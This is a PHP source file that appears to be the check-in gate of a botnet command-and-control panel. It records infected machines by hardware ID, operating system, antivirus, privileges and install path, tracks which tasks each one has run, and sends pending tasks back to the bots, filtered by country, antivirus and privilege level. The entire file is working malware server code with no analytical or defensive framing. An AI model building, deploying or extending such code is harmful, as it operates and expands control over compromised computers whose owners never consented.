<?php
include 'inc/config.php';
include 'inc/geo/geoip.inc';
include 'inc/filtersHandler.php';
$gi = geoip_open("inc/geo/GeoIP.dat", "");

$gate = $odb->query("SELECT gate_status FROM settings")->fetchColumn(0);
if ($gate != "1")
{
	die();
}

if (!isset($_GET['id']) || !isset($_GET['os']) || !isset($_GET['pv']) || !isset($_GET['ip']) || !isset($_GET['name']) || !isset($_GET['ver']))
{
	include 'inc/404.php';
	die();
}
/*if ($_SERVER['HTTP_USER_AGENT'] != "E9BC3BD76216AFA560BFB5ACAF5731A3")
{
	include 'inc/404.php';
	die();
}*/

$ip = $_SERVER['REMOTE_ADDR'];
$country = geoip_country_id_by_addr($gi, $ip);

$hwid = $_GET['id'];
$opsys = $_GET['os'];
$av = $_GET['a'];
$cpu = $_GET['cp'];
$gpu = $_GET['gp'];
$privs = $_GET['pv'];
$inpat = $_GET['ip'];
$compn = $_GET['name'];
$botvr = $_GET['ver'];
$lastr = $_GET['lr'];
$opera = "0";
$taskd = "0";
$unins = "0";

$details = $odb->prepare("SELECT * FROM bots WHERE bothwid = :id");
$details->execute(array(":id" => $hwid));
$d = $details->fetch(PDO::FETCH_ASSOC);

$botInstallDate = date("Y-m-d", $d['installdate']);

if (isset($_GET['op']) && isset($_GET['td']))
{
	$opera = $_GET['op'];
	$taskd = $_GET['td'];
}
if (isset($_GET['uni']))
{
	$unins = $_GET['uni'];
}

$exs = $odb->prepare("SELECT COUNT(*) FROM bots WHERE bothwid = :h");
$exs->execute(array(":h" => $hwid));
if ($exs->fetchColumn(0) == "0")
{

	//$i = $odb->prepare('INSERT INTO `bots` VALUES(NULL, "aqwfqwearsqwr", "121.123.44.55", "gladoff", UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 0, "windows_10", "3.2.1", "admin", "c/gladoff/users", "gladoff-pc", "lr", "1")');
	$i = $odb->prepare('INSERT INTO `bots` VALUES(NULL, :hw, :ip, :cn, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), :td, :os, :av, :cpu, :gpu, :bv, :pv, :in, :cp, :lr, 1)');
	$array = array(":hw" => $hwid, ":ip" => $ip, ":cn" => $country, ":td" => $taskd, ":os" => $opsys, ":av" => $av, ":cpu" => $cpu, ":gpu" => $gpu, ":bv" => $botvr, ":pv" => $privs, ":in" => $inpat, ":cp" => $compn, ":lr" => $lastr);
	$i->execute($array);
}else{
	$u = $odb->prepare("UPDATE bots SET lastresponse = UNIX_TIMESTAMP(), currenttask = :c, lastreboot = :lr, installationpath = :in, botversion = :botver WHERE bothwid = :h");
	$u->execute(array(":c" => $taskd, ":lr" => $lastr, ":in" => $inpat, ":h" => $hwid, ":botver" => $botvr));
}

if ($opera == "1")
{
	$in = $odb->prepare("INSERT INTO tasks_completed VALUES(NULL, :h, :i)");
	$in->execute(array(":h" => $hwid, ":i" => $taskd));
}
if ($unins == "1")
{
	$del = $odb->prepare("DELETE FROM bots WHERE bothwid = :h LIMIT 1");
	$del->execute(array(":h" => $hwid));
}

$cmds = $odb->query("SELECT * FROM tasks ORDER BY id");
while ($com = $cmds->fetch(PDO::FETCH_ASSOC))
{
	if ($com['status'] == "1")
	{
		$executions = $odb->query("SELECT COUNT(*) FROM tasks_completed WHERE taskid = '".$com['id']."'")->fetchColumn(0);
		if ($executions >= $com['executions'])
		{
			continue;
		}else{
			$ae = $odb->prepare("SELECT COUNT(*) FROM tasks_completed WHERE taskid = :i AND bothwid = :h");
			$ae->execute(array(":i" => $com['id'], ":h" => $hwid));
			if ($ae->fetchColumn(0) == 0)
			{
			    if(proceedFilter($com['filters'], $hwid, $country, $privs, $opsys, $av, $gpu, $botInstallDate, $gi))
				    echo ('newtask;'.$com['id'].';'.($com['task']).';'.$com['params']);
				break;
			}
		}
	}
}
?>